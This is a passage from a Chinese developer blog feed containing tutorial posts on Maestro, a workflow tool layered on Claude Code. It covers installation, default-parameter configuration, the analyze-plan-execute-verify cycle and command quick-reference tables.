class="comment"># 让 analyze 默认自动确认</span></span><br><span class="line">maestro config <span class="built_in">set</span> maestro-analyze y <span class="literal">true</span> -g</span><br></pre></td></tr></table></figure><p><code>-g</code> 表示全局生效，对所有项目都有效。不加 <code>-g</code> 则只对当前项目生效。</p><p>设置完之后，你再调用 <code>/maestro-execute 1</code>，Maestro 会自动在后台把配置的默认参数加上，等同于你手打了 <code>/maestro-execute 1 --auto-commit --method auto -y</code>。</p><p>如果某次你想临时覆盖默认值，直接在命令里手动写参数就行，手动写的参数优先级更高，默认值会自动让位。</p><h3 id="5-2-用可视化界面来配置">5.2. 用可视化界面来配置</h3><p>如果不喜欢记命令，可以打开 TUI 界面来配置：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">maestro config</span><br></pre></td></tr></table></figure><p>这会打开一个终端界面，列出所有 51 个命令，显示每个命令当前配置了哪些默认参数。用方向键选中一个命令，按 Enter 进入编辑，用空格切换 boolean 参数的开关，对于枚举参数（比如 <code>method</code> 支持 <code>agent/codex/gemini/cli/auto</code>）空格会循环切换选项。</p><p>保存时会问你是存到全局还是项目级，按 <code>g</code> 全局，按 <code>p</code> 项目级。</p><h3 id="5-3-查看当前配置了什么">5.3. 查看当前配置了什么</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 看所有已配置的命令和参数</span></span><br><span class="line">maestro config show</span><br><span class="line"></span><br><span class="line"><span class="comment"># 看某个具体命令的配置</span></span><br><span class="line">maestro config show maestro-execute</span><br></pre></td></tr></table></figure><h3 id="5-4-取消某个默认值">5.4. 取消某个默认值</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 取消 execute 的 method 默认值</span></span><br><span class="line">maestro config <span class="built_in">unset</span> maestro-execute method -g</span><br><span class="line"></span><br><span class="line"><span class="comment"># 清空某个命令的全部默认配置</span></span><br><span class="line">maestro config reset maestro-execute -g</span><br></pre></td></tr></table></figure><h3 id="5-5-几个常用的配置组合">5.5. 几个常用的配置组合</h3><p>根据不同的工作模式，这里给出几个开箱即用的配置组合：</p><p><strong>日常开发模式</strong>（自动提交、自动确认、减少手动操作）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">maestro config <span class="built_in">set</span> maestro-execute auto-commit <span class="literal">true</span> -g</span><br><span class="line">maestro config <span class="built_in">set</span> maestro-execute y <span class="literal">true</span> -g</span><br><span class="line">maestro config <span class="built_in">set</span> maestro-execute method auto -g</span><br><span class="line">maestro config <span class="built_in">set</span> maestro-analyze y <span class="literal">true</span> -g</span><br></pre></td></tr></table></figure><p><strong>严格审查模式</strong>（发布前使用，保证代码质量）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">maestro config <span class="built_in">set</span> quality-review level deep -g</span><br><span class="line">maestro config <span class="built_in">set</span> maestro-plan auto <span class="literal">true</span> -g</span><br></pre></td></tr></table></figure><p><strong>快速迭代模式</strong>（快速出结果，减少确认步骤）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">maestro config <span class="built_in">set</span> maestro-execute y <span class="literal">true</span> -g</span><br><span class="line">maestro config <span class="built_in">set</span> maestro-plan auto <span class="literal">true</span> -g</span><br><span class="line">maestro config <span class="built_in">set</span> maestro-analyze c <span class="literal">true</span> -g</span><br></pre></td></tr></table></figure><h3 id="5-6-本节小结">5.6. 本节小结</h3><p>默认值配置是一个小功能，但积累下来节省的手打时间不少，更重要的是不会因为「忘了加 --auto-commit」而出错。</p><table><thead><tr><th>要点</th><th>何时使用</th><th>关键动作</th></tr></thead><tbody><tr><td>设置一个默认参数</td><td>某个参数几乎每次都要加时</td><td><code>maestro config set &lt;命令&gt; &lt;参数&gt; &lt;值&gt; -g</code></td></tr><tr><td>可视化配置</td><td>不想记命令时</td><td><code>maestro config</code> 打开 TUI</td></tr><tr><td>查看已有配置</td><td>确认设置是否生效时</td><td><code>maestro config show</code></td></tr><tr><td>临时覆盖默认值</td><td>某次需要用不同参数时</td><td>直接在命令里手动写，自动优先</td></tr></tbody></table><hr><h2 id="本篇总结">本篇总结</h2><p>这一篇覆盖了日常开发里最常用的五个场景，每个场景都有独立的命令体系，互相配合又各自独立。</p><p>Spec 系统解决的是「规范只说一次，永久生效」的问题，把编码约定和踩坑记录沉淀下来，AI 下次写代码自然遵守。Issue 系统解决的是「问题从发现到关闭有人跟」的问题，既能让 AI 主动找问题，也能手动记录和追踪。验收测试三个维度各管各的，业务规则、代码执行、覆盖率一个都不落。Delegate 让耗时任务不再阻塞你的工作节奏，还能串联成自动化的任务链。最后的默认值配置虽然是小功能，但用久了会发现是降低使用摩擦最有效的方式之一。</p><table><thead><tr><th>要点</th><th>何时使用</th><th>关键动作</th></tr></thead><tbody><tr><td>录入项目规范</td><td>发现需要约束某个写法时</td><td><code>/spec-add coding &quot;规范内容&quot;</code></td></tr><tr><td>扫描发现问题</td><td>阶段性代码质量检查时</td><td><code>/manage-issue-discover</code></td></tr><tr><td>修复一个 bug</td><td>问题明确、改动小时</td><td><code>/maestro-quick &quot;修复描述&quot;</code></td></tr><tr><td>完整 Issue 修复流程</td><td>需要深度分析时</td><td><code>analyze --gaps → plan --gaps → execute → close</code></td></tr><tr><td>业务规则验收</td><td>execute 完成后</td><td><code>/quality-business-test N</code></td></tr><tr><td>测试失败修复</td><td>任何测试报错时</td><td><code>quality-debug → plan --gaps → execute → re-run</code></td></tr><tr><td>异步委托任务</td><td>不想等、让别的 AI 跑</td><td><code>maestro delegate &quot;...&quot; --to gemini --async</code></td></tr><tr><td>设置命令默认参数</td><td>某参数每次都要手打时</td><td><code>maestro config set &lt;命令&gt; &lt;参数&gt; &lt;值&gt; -g</code></td></tr></tbody></table><hr><h2 id="本篇速查卡">本篇速查卡</h2><table><thead><tr><th>我想做什么</th><th>用这个命令</th></tr></thead><tbody><tr><td>扫描代码库自动生成规范</td><td><code>/spec-setup</code></td></tr><tr><td>录入一条编码规范</td><td><code>/spec-add coding &quot;规范内容&quot;</code></td></tr><tr><td>录入一条踩坑记录</td><td><code>/spec-add learning &quot;经验教训&quot;</code></td></tr><tr><td>检索和认证相关的规范</td><td><code>/spec-load --keyword auth</code></td></tr><tr><td>让 AI 主动找代码问题</td><td><code>/manage-issue-discover</code></td></tr><tr><td>手动记录一个 bug</td><td><code>/manage-issue create --title &quot;...&quot; --severity high</code></td></tr><tr><td>分析一个 Issue 的根因</td><td><code>/maestro-analyze --gaps ISS-001</code></td></tr><tr><td>生成 Issue 修复计划</td><td><code>/maestro-plan --gaps</code></td></tr><tr><td>关闭一个 Issue</td><td><code>/manage-issue close ISS-001 --resolution &quot;修复说明&quot;</code></td></tr><tr><td>快速修一个小 bug</td><td><code>/maestro-quick &quot;修复描述&quot;</code></td></tr><tr><td>验收业务规则</td><td><code>/quality-business-test N</code></td></tr><tr><td>验收代码执行</td><td><code>/quality-test N</code></td></tr><tr><td>补充测试覆盖率</td><td><code>/quality-test-gen N</code></td></tr><tr><td>做代码审查</td><td><code>/quality-review N --level deep</code></td></tr><tr><td>测试失败找根因</td><td><code>/quality-debug --from-business-test N</code></td></tr><tr><td>只重跑失败的测试</td><td><code>/quality-business-test N --re-run</code></td></tr><tr><td>异步委托任务给 Gemini</td><td><code>maestro delegate &quot;...&quot; --to gemini --async</code></td></tr><tr><td>查看委托任务状态</td><td><code>maestro delegate status &lt;id&gt;</code></td></tr><tr><td>取回委托任务结果</td><td><code>maestro delegate output &lt;id&gt;</code></td></tr><tr><td>串联后续任务</td><td><code>maestro delegate message &lt;id&gt; &quot;...&quot; --delivery after_complete</code></td></tr><tr><td>打开参数配置 TUI</td><td><code>maestro config</code></td></tr><tr><td>设置命令默认参数</td><td><code>maestro config set &lt;命令&gt; &lt;参数&gt; &lt;值&gt; -g</code></td></tr></tbody></table><hr></div>]]>
    </content>
    <id>https://blog.prorisehub.com/posts/75434.html</id>
    <link href="https://blog.prorisehub.com/posts/75434.html"/>
    <published>2026-05-02T00:15:45.000Z</published>
    <summary>
      <![CDATA[<div id="postchat_postcontent"><hr>
<h1>第二篇：日常开发中最常用的场景</h1>
<div class="note info flat"><p>适用环境：已完成第一篇的安装与初始化，Claude Code 最新版，Hooks 级别]]>
    </summary>
    <title>Claude Code 工作流：Maestro（二） 日常开发中最常用的场景</title>
    <updated>2026-05-07T03:10:50.989Z</updated>
  </entry>
  <entry>
    <author>
      <name>Prorise</name>
    </author>
    <category term="一人公司系列" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/"/>
    <category term="AI 编程方向" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/AI-%E7%BC%96%E7%A8%8B%E6%96%B9%E5%90%91/"/>
    <category term="AI 开发工具系列" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/AI-%E7%BC%96%E7%A8%8B%E6%96%B9%E5%90%91/AI-%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7%E7%B3%BB%E5%88%97/"/>
    <category term="工作流篇" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/AI-%E7%BC%96%E7%A8%8B%E6%96%B9%E5%90%91/AI-%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7%E7%B3%BB%E5%88%97/%E5%B7%A5%E4%BD%9C%E6%B5%81%E7%AF%87/"/>
    <category term="Maestro" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/AI-%E7%BC%96%E7%A8%8B%E6%96%B9%E5%90%91/AI-%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7%E7%B3%BB%E5%88%97/%E5%B7%A5%E4%BD%9C%E6%B5%81%E7%AF%87/Maestro/"/>
    <content>
      <![CDATA[<div id="postchat_postcontent"><hr><h1>第一篇：装好 Maestro，跑通第一个项目</h1><div class="note info modern"><p>适用环境：Claude Code 最新版、Node.js 18+、Git 已配置、macOS / Linux（Windows 部分功能暂不支持）</p></div><p>学习路径：第一章（搞清楚它是什么）→ 第二章（装好它）→ 第三章（跑通主干流程）→ 第四章（选择适合自己的启动姿势）</p><hr><h2 id="第一章-Maestro-是什么，能帮你做什么">第一章. Maestro 是什么，能帮你做什么</h2><h3 id="1-1-你现在用-Claude-Code-可能遇到的三个痛点">1.1. 你现在用 Claude Code 可能遇到的三个痛点</h3><p>假设你正在用 Claude Code 开发一个功能，你大概率遇到过这些情况：</p><p>第一个情况，每次开启新对话，都得重新告诉 AI「我们项目用 Hono 框架、命名规范是 camelCase、不要用 any 类型……」，整理这段上下文本身就要花几分钟，而且一旦忘了说，AI 写出来的代码风格就和项目格格不入。</p><p>第二个情况，一个功能做到一半，你不确定下一步该干什么。是先写测试？还是先做代码审查？还是直接进下一个模块？每次都要自己想，没有一个清晰的推进节奏。</p><p>第三个情况，多人协作的时候，两个人同时让 AI 改同一块代码，最后合并时才发现打架了。或者一个人做完的东西，另一个人完全不知道，重复做了一遍。</p><p>这三个问题本质上是同一件事：Claude Code 很擅长完成单次对话里的任务，但它没有能力跨对话持久化项目上下文、规划完整的推进节奏、协调多人的工作边界。</p><p>如果你研读过我的bmad 工作流，并亲身体验过，你就会发现在规划、探索流程中你是清晰的，但在执行的真实过程中他是混乱的，所以相比较 bmad</p><p>Maestro 就是来补这个缺口的。</p><h3 id="1-2-Maestro-怎么解决这些问题">1.2. Maestro 怎么解决这些问题</h3><p>Maestro 是一套运行在 Claude Code 之上的工作流层，它做三件事：</p><p><strong>第一件事，让 AI 永远记住你的项目规范。</strong> 你把项目的编码规范、架构约束、踩过的坑记录进 Spec 系统，之后每次 AI 启动，这些规范会自动注入到它的上下文里。不用你再重复说，AI 就知道「这个项目用 Hono、命名用 camelCase、分页从 1 开始不是从 0 开始」。</p><p><strong>第二件事，给开发流程一个固定的推进节奏。</strong> Maestro 把一个功能的开发拆成四个标准阶段：分析（analyze）→ 规划（plan）→ 执行（execute）→ 验证（verify）。每个阶段有明确的输入、产出和成功标准，做完一步再做下一步，不会迷失方向。</p><p><strong>第三件事，用状态文件管理项目进度。</strong> Maestro 把当前做到哪一步、已经完成了什么、还有什么待处理，全部记在 <code>.workflow/</code> 目录下的文件里。换一台电脑、换一个对话窗口，打开这个项目，AI 立刻知道上次做到哪了，继续推进。</p><p>你会接触到三类工具：斜杠命令用在 Claude Code 对话里（比如 <code>/maestro-execute 2</code>），终端命令用在你的 shell 里（比如 <code>maestro delegate &quot;分析这段代码&quot; --to gemini</code>），Hooks 则完全在后台自动运行，不需要你操作。</p><h3 id="1-3-它和直接用-Claude-Code-有什么不同">1.3. 它和直接用 Claude Code 有什么不同</h3><p>这个问题值得花一点时间想清楚，因为很多人看了一圈文档之后会问：我直接在对话里让 Claude 帮我分析、规划、执行不就好了，为什么要多一层 Maestro？</p><p>区别在于持久化和可重复性。</p><p>直接用 Claude Code，你每次对话都是从零开始的，上下文不会自动延续。Maestro 把每一步的产出（分析结果、规划文件、执行摘要）都存到文件里，下次打开直接接续，任何人、任何对话窗口都能看到同样的项目状态。</p><p>另一个区别是规范的强制注入。你手动告诉 Claude「请遵循我们的编码规范」，它可能遵循，也可能遵循一半，取决于上下文里规范说明的位置和清晰度。Spec + Hooks 是从技术层面保证规范在每次 Agent 启动时都出现在 prompt 最前面，不靠人工提醒。</p><hr><h2 id="第二章-安装">第二章. 安装</h2><h3 id="2-1-安装三步走">2.1. 安装三步走</h3><p>安装过程分三步，每步结束都有一个可以验证的成功现象。</p><p><strong>步骤 1：安装 Maestro 本体</strong></p><p>在终端里运行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">npm install -g maestro-flow 或 pnpm install -g maestro-flow</span><br><span class="line">maestro install</span><br></pre></td></tr></table></figure><p>这会进入一个交互式安装界面，它会问你要安装哪些组件。对于初次使用，直接选择全部安装即可。安装完成后，你的 Claude Code 对话框里就可以使用 <code>/maestro-*</code> 系列斜杠命令了，若实际体验不佳，maestro 也提供了一键卸载功能，所以不必担心</p><p>成功的标志：在 Claude Code 里输入 <code>/maestro</code>，能看到命令提示出现，而不是「命令不存在」的报错。</p><p><strong>步骤 2：安装 Hooks 自动化</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">maestro hooks install --level standard</span><br></pre></td></tr></table></figure><p>Hooks 是 Maestro 的自动化层，负责在你每次调用 AI Agent 时自动注入项目规范、监控上下文用量等后台工作。<code>standard</code> 级别包含日常开发需要的全部自动化能力，推荐首次使用就选这个。</p><p>成功的标志：运行下面这个命令，能看到各个 Hook 的安装状态都显示为 <code>installed</code>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">maestro hooks status</span><br></pre></td></tr></table></figure><p><strong>步骤 3：在项目里初始化 Maestro</strong></p><p>进入你的项目目录，运行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/maestro-init</span><br></pre></td></tr></table></figure><p>这个命令会在项目根目录下创建 <code>.workflow/</code> 目录，这是 Maestro 用来存放所有状态文件的地方。</p><p>成功的标志：项目根目录下出现 <code>.workflow/</code> 文件夹，里面有 <code>state.json</code> 文件。</p><h3 id="2-2-workflow-目录是干什么的">2.2. <code>.workflow/</code> 目录是干什么的</h3><p>装好之后你会发现项目里多了一个 <code>.workflow/</code> 目录，里面有一些文件。你不需要手动编辑这些文件，但大概知道它们是干什么的会有帮助。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">.workflow/</span><br><span class="line">├── state.json          # 项目当前状态：做到哪个阶段、完成了哪些 Phase</span><br><span class="line">├── roadmap.md          # 项目路线图：拆分成了哪些阶段</span><br><span class="line">├── project.md          # 项目说明：技术栈、背景信息</span><br><span class="line">├── specs/              # 项目规范：你录入的编码规范、架构约束、踩坑记录</span><br><span class="line">└── scratch/            # 工作区：每次分析、规划、执行的产物文件</span><br></pre></td></tr></table></figure><p><code>state.json</code> 是最核心的文件，它记录了项目当前做到哪一步。Maestro 的每个命令在运行前都会读这个文件，知道接下来该做什么。你可以把它理解成项目的「当前进度存档」。</p><p><code>scratch/</code> 目录下的文件是 Maestro 自动生成的，每次分析、规划、执行都会在这里留下产物。这些文件是各命令之间传递信息的载体，不需要你去读它们，但如果某个步骤出了问题需要排查，可以来这里看中间产物。</p><p><code>.workflow/</code> 目录建议加入版本控制（git commit 进去），这样团队所有人可以看到同样的项目状态。<code>scratch/</code> 目录下的内容是临时工作产物，可以选择加进 <code>.gitignore</code>。</p><hr><h2 id="第三章-跑通第一个项目">第三章. 跑通第一个项目</h2><p>我们用「在线教育平台」这个假想项目来完整走一遍主干流程。不管你实际要做什么项目，这个流程是一样的。</p><h3 id="3-1-第一步：告诉-Maestro-你要做什么">3.1. 第一步：告诉 Maestro 你要做什么</h3><p>完成 <code>/maestro-init</code> 之后，下一步是创建路线图，让 Maestro 知道这个项目要做什么、分几个阶段推进。</p><p>在 Claude Code 里运行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/maestro-roadmap <span class="string">&quot;在线教育平台，包含用户系统、课程管理、视频播放和支付功能&quot;</span> -y</span><br></pre></td></tr></table></figure><p><code>-y</code> 参数表示自动确认，不需要你逐步审批每个决策，直接生成完整路线图。</p><p>Maestro 会自动把这个项目拆分成若干个 Phase（阶段）。比如：</p><ul><li>Phase 1：用户系统（注册、登录、权限管理）</li><li>Phase 2：课程管理（课程 CRUD、分类、搜索）</li><li>Phase 3：视频播放（上传、转码、进度记录）</li><li>Phase 4：支付功能（接入支付宝/微信）</li></ul><p>成功的标志：<code>.workflow/roadmap.md</code> 文件被创建，里面有清晰的阶段划分。</p><p>如果项目需求比较复杂，或者你希望先头脑风暴再确认方向，可以在 roadmap 之前先跑 <code>/maestro-brainstorm &quot;在线教育平台&quot;</code>，多角色讨论完再生成路线图。</p><h3 id="3-2-第二步：分析第一个阶段">3.2. 第二步：分析第一个阶段</h3><p>路线图有了，接下来开始推进 Phase 1（用户系统）。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/maestro-analyze 1</span><br></pre></td></tr></table></figure><p>数字 <code>1</code> 表示只分析 Phase 1。Maestro 会读取路线图和项目信息，分析这个阶段需要做什么、有哪些技术决策需要确认、依赖关系是什么。</p><p>产出是两个文件，都在 <code>scratch/</code> 目录下：<code>context.md</code>（分析这个阶段需要的上下文）和 <code>analysis.md</code>（具体的分析结论）。你不需要去读这两个文件，它们是给下一个命令用的。</p><p>成功的标志：命令运行完毕，没有报错，Maestro 提示你可以运行 <code>/maestro-plan 1</code> 了。</p><h3 id="3-3-第三步：规划任务清单">3.3. 第三步：规划任务清单</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/maestro-plan 1</span><br></pre></td></tr></table></figure><p>Maestro 读取上一步的分析结果，生成具体的任务清单。每个任务是一个独立的工作单元，有明确的目标和完成标准。</p><p>产出是一组 <code>TASK-*.json</code> 文件，记录了 Phase 1 需要完成的所有具体任务，比如「实现用户注册 API」「实现 JWT 登录验证」「编写用户表 migration」等。</p><p>成功的标志：Maestro 输出一个任务列表预览，你能看到 Phase 1 被拆分成了多少个具体任务。</p><h3 id="3-4-第四步：执行">3.4. 第四步：执行</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/maestro-execute 1</span><br></pre></td></tr></table></figure><p>这是真正开始写代码的阶段。Maestro 会按照规划好的任务清单，逐个驱动 AI Agent 完成每个任务。</p><p>执行过程中，你会看到 AI 在写代码、创建文件、修改配置。每个任务完成后，Maestro 会在 <code>scratch/.summaries/</code> 目录下记录一个执行摘要，说明这个任务做了什么，供后续验证使用。</p><p>这个步骤耗时最长，取决于 Phase 包含多少任务。执行期间你可以做别的事情，不需要一直盯着。</p><p>成功的标志：Maestro 提示所有任务已完成，并建议你运行 <code>/maestro-verify 1</code>。</p><h3 id="3-5-第五步：验证">3.5. 第五步：验证</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/maestro-verify 1</span><br></pre></td></tr></table></figure><p>执行完之后，Maestro 检查这个阶段的产出是否符合路线图里定义的目标。它会逐项核对「应该完成的事情」是否真的完成了，发现缺口（gaps）会明确告诉你。</p><p>如果验证通过，Phase 1 就完成了。如果发现缺口，你有两个选择：</p><p>一是让 Maestro 自动生成修复计划来补齐缺口：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">/maestro-plan 1 --gaps</span><br><span class="line">/maestro-execute 1</span><br><span class="line">/maestro-verify 1   <span class="comment"># 重新验证</span></span><br></pre></td></tr></table></figure><p>二是手动检查验证报告，判断缺口是否需要在这个阶段处理，还是留到后续迭代。</p><p>成功的标志：Maestro 输出验证报告，显示 Phase 1 的所有目标都已覆盖，或者明确列出还剩哪些缺口。</p><h3 id="3-6-第六步：收尾一个里程碑">3.6. 第六步：收尾一个里程碑</h3><p>当一个里程碑的所有 Phase 都跑完了 analyze → plan → execute 的完整链路之后，运行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/maestro-milestone-audit</span><br></pre></td></tr></table></figure><p>这个命令做最终审计，检查整个里程碑有没有遗漏的东西，Phase 之间有没有集成问题。审计通过后：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/maestro-milestone-complete</span><br></pre></td></tr></table></figure><p>这个命令把这个里程碑的所有工作产物归档，并把项目状态推进到下一个里程碑，你就可以开始推进 Phase 2、Phase 3……了。</p><p>成功的标志：Maestro 提示里程碑已归档，<code>state.json</code> 里的当前里程碑已更新到下一个。</p><h3 id="3-7-整个流程一览">3.7. 整个流程一览</h3><p>把上面六步用命令串起来看：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 初始化（只做一次）</span></span><br><span class="line">/maestro-init</span><br><span class="line">/maestro-roadmap <span class="string">&quot;项目描述&quot;</span> -y</span><br><span class="line"></span><br><span class="line"><span class="comment"># Phase 1 完整推进</span></span><br><span class="line">/maestro-analyze 1</span><br><span class="line">/maestro-plan 1</span><br><span class="line">/maestro-execute 1</span><br><span class="line">/maestro-verify 1</span><br><span class="line"></span><br><span class="line"><span class="comment"># Phase 2、3、4 重复同样的步骤</span></span><br><span class="line">/maestro-analyze 2</span><br><span class="line">/maestro-plan 2</span><br><span class="line"><span class="comment"># ...</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 里程碑收尾</span></span><br><span class="line">/maestro-milestone-audit</span><br><span class="line">/maestro-milestone-complete</span><br></pre></td></tr></table></figure><p>每个 Phase 的四步（analyze → plan → execute → verify）是固定的节奏，不管做什么功能都是这个流程，熟悉一次之后后面每次都一样。</p><hr><h2 id="第四章-三种启动方式，按需选择">第四章. 三种启动方式，按需选择</h2><p>第三章走的是「逐步精控」的标准流程，每一步都手动触发，确认再继续。但 Maestro 还支持另外两种方式，适合不同的场景。</p><h3 id="4-1-想偷懒：一键全自动">4.1. 想偷懒：一键全自动</h3><p>如果你对项目的方向很清楚，不想一步步确认，可以直接把任务甩给 Maestro：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/maestro -y <span class="string">&quot;实现用户认证系统，包含注册、登录、JWT 刷新和权限校验&quot;</span></span><br></pre></td></tr></table></figure><p><code>-y</code> 参数让 Maestro 跳过所有交互式确认，自动串联 <code>init → roadmap → analyze → plan → execute → verify → review → test → milestone-audit</code> 整条链路，你去喝杯咖啡，回来就有结果。</p><p>适合的场景：需求明确、项目规模不太大、你对 AI 的判断有足够信心。</p><p>不适合的场景：需求还在探索阶段、有复杂的架构决策需要人工参与、你希望每个阶段都过一遍再继续。</p><h3 id="4-2-想控制节奏：逐步推进">4.2. 想控制节奏：逐步推进</h3><p>这就是第三章讲的标准方式，按 Phase 编号逐步推进。这种方式让你在每个阶段都有机会检查产出、调整方向、手动介入。</p><p>推进到某一步发现方向不对，可以直接重新运行那一步的命令，不影响已完成的其他 Phase。</p><p>适合的场景：需求复杂、对质量要求高、你想深度参与每个阶段的决策。</p><h3 id="4-3-临时任务不想建项目：直接分析">4.3. 临时任务不想建项目：直接分析</h3><p>有时候你只是想让 Maestro 帮你分析一个具体问题，或者快速修一个 bug，不需要建完整的项目结构。这时不用 init，不用 roadmap，直接：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/maestro-analyze <span class="string">&quot;给现有的 Express API 加上 rate limiting&quot;</span></span><br></pre></td></tr></table></figure><p>Maestro 会自动以「独立任务」的模式处理，产物存在 <code>scratch/</code> 里，不影响主项目的状态。用完即走，非常轻量。</p><p>或者更快的方式，用快速任务命令：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/maestro-quick <span class="string">&quot;修复登录页在移动端的样式错乱&quot;</span></span><br></pre></td></tr></table></figure><p><code>/maestro-quick</code> 是所有命令里路径最短的，省略了一切可选步骤，直接到执行。适合明确的小任务，比如修 bug、加一个小功能、改一段配置。</p><p><code>/maestro-quick</code> 还有两个变体：加上 <code>--full</code> 会在执行后多一个规划验证步骤，加上 <code>--discuss</code> 会在执行前先讨论方案并提取决策点。需要更严谨一点的时候可以选这两个。</p><h3 id="4-4-三种方式对比">4.4. 三种方式对比</h3><div class="tabs" id="三种启动方式对比"><ul class="nav-tabs"><button type="button" class="tab  active" data-href="三种启动方式对比-1">一键全自动</button><button type="button" class="tab " data-href="三种启动方式对比-2">逐步推进</button><button type="button" class="tab " data-href="三种启动方式对比-3">快速任务</button></ul><div class="tab-contents"><div class="tab-item-content active" id="三种启动方式对比-1"><p><strong>适用</strong>：需求明确、想快速看到结果</p><p><strong>命令</strong>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/maestro -y <span class="string">&quot;你的需求描述&quot;</span></span><br></pre></td></tr></table></figure><p><strong>特点</strong>：全程不需要操作，AI 自动串联所有步骤。适合需求清晰的中小功能，或者你只是想快速验证一个想法。</p><p><strong>注意</strong>：全自动意味着中途出了问题也会继续跑，建议跑完之后认真看一下验证报告。</p></div><div class="tab-item-content" id="三种启动方式对比-2"><p><strong>适用</strong>：复杂功能、需要把控每个阶段</p><p><strong>命令</strong>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">/maestro-analyze 1</span><br><span class="line">/maestro-plan 1</span><br><span class="line">/maestro-execute 1</span><br><span class="line">/maestro-verify 1</span><br></pre></td></tr></table></figure><p><strong>特点</strong>：每步都能检查产出、手动调整、决定是否继续。是日常开发最推荐的方式，质量最可控。</p><p><strong>注意</strong>：步骤多，但每步都有明确的成功标志，不会迷失方向。</p></div><div class="tab-item-content" id="三种启动方式对比-3"><p><strong>适用</strong>：小任务、临时分析、修 bug</p><p><strong>命令</strong>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">/maestro-quick <span class="string">&quot;具体任务描述&quot;</span></span><br><span class="line">/maestro-analyze <span class="string">&quot;你想分析的主题&quot;</span>  <span class="comment"># 纯分析不需要执行</span></span><br></pre></td></tr></table></figure><p><strong>特点</strong>：最轻量，不需要 init，不需要 roadmap，直接开干。产物存在 scratch 目录，不影响主项目状态。</p><p><strong>注意</strong>：没有完整的规划和验证步骤，适合小任务，复杂功能还是建议走完整流程。</p></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="anzhiyufont 